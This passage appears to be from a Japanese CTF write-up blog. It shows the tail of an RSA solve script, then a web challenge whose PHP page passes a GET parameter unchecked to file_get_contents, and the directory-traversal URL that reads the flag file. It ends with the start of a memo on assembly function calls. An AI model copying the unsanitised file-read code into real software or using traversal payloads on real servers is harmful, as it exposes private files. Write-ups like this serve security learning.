b64_to_long("fqNEIpaR/tNyANj0yobEaZQQyL+W2OEBCLhPNBUiGYinrgTVcTgR9HhccGEYOXANdRs9BhC8VAzR+ykFyJdf5hfDLCmoGqB0YTO7orT6+c09OisoiTxFnjeCRrOzGjjmgwak5Q8PB+xRD1fbKeLpEBLRyPK9V+LKeKYqDA8vUEFs+Nn/m3wK3mfsjbbV6l1yhaRdAWEpN5zB5CjqRCxKS4+ghlDzVlr9holG1c8cDzok7hZQElIi7EAFZISrbWCcK4MXoS5rXAOCUalr0REtXeYCrTIUIpZ7XtitMRYARn7b5AvrmcBzhh4CgqYk7QlTZA+bbYu3jvuqpSqqlKELLQ==") # 2を復号した値 dec_two = b64_to_long("WL+k1lzTvOKx4acwYzAvTrU/N0BBbfgBrVVbJglGsCRJCInwvCWY5vDu7dV+FKxxJtQDpj4dbQcBtLgUoxcIE6UQUUXpXXjSIh9qDGoIWXl4RjaWF3eJ8l2yDsHugpTEoze7z5CmqRKb1A9D+ry5ensonuLyWOeQkZuJEIvn8KF+sFc+pVQUZ7Nwd8g0nTmw3SCOpOLSPXL704We4eGBTFq657xgEL27PtFF6XzmHV9zrhDHQlo/9n/QZuqA0ia+eE3EALmreTNH9gAOiZpkERz+nSeTjdt+qrPlhyxUC2gpMUlMtndhD8rTaYloIBShbEf4tA4/uZoYy/ImwuKKtw==") flag = (dec_div_by_2 * dec_two) % N print(long2bytes(flag))
$ python solve.py b'xm4s{p1ain_RSA_1s_w3ak}\n'
[web] bad_path
Dockerfileとindex.phpが与えられる。
Dockerfileは以下の通りです。
FROM php:8.0-apache ADD ./index.php /var/www/html/index.php ADD ./flag.txt /var/www/flag.txt ADD ./resource/ /var/www/html/resource/
index.phpは以下の通りです。
<?php $content = ""; if (isset($_GET["ext"])) { $content = file_get_contents("resource/" . $_GET["ext"]); } ?> <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>HelloWorld</title> <style type="text/css"> pre { margin: 1em 0; padding: 1em; background: #25292f; color: #fff; white-space: pre-wrap; } </style> </head> <body> <h1>Hello World!</h1> <form> <select name="ext"> <option value="hello.js">JavaScript</option> <option value="hello.py">Python</option> <option value="hello.rs">Rust</option> <option value="hello.c">C</option> </select> <input type="submit" value="View"> </form> <pre><?php echo htmlspecialchars($content, ENT_QUOTES) ?></pre> </body> </html>
index.phpを見るとextに渡されたファイル名がそのままresources/
の後に追加されていることがわかります。
ディレクトリトラバーサルの脆弱性があるため、extにフラグの相対パスを与えるとフラグが得られます。
よって、
https://bad-path.xm4s.net/index.php?ext=../../flag.txt
にアクセスするとフラグが手に入ります。
xm4s{H3110_H3110_CTF3r}
アセンブリでの関数呼び出しの備忘録
CTFのPwnについて勉強している時に、関数呼び出時の処理をよく忘れてしまうので一度まとめてみます。
関数呼び出しの手順
関数を呼び出すときは以下の処理が行われます
- 呼び出し元のアドレスを保存し、関数のアドレスへ移動(call)
- 関数の処理
- スタック上のアドレスの開放(leave)
- 呼び出し元へ帰る(ret)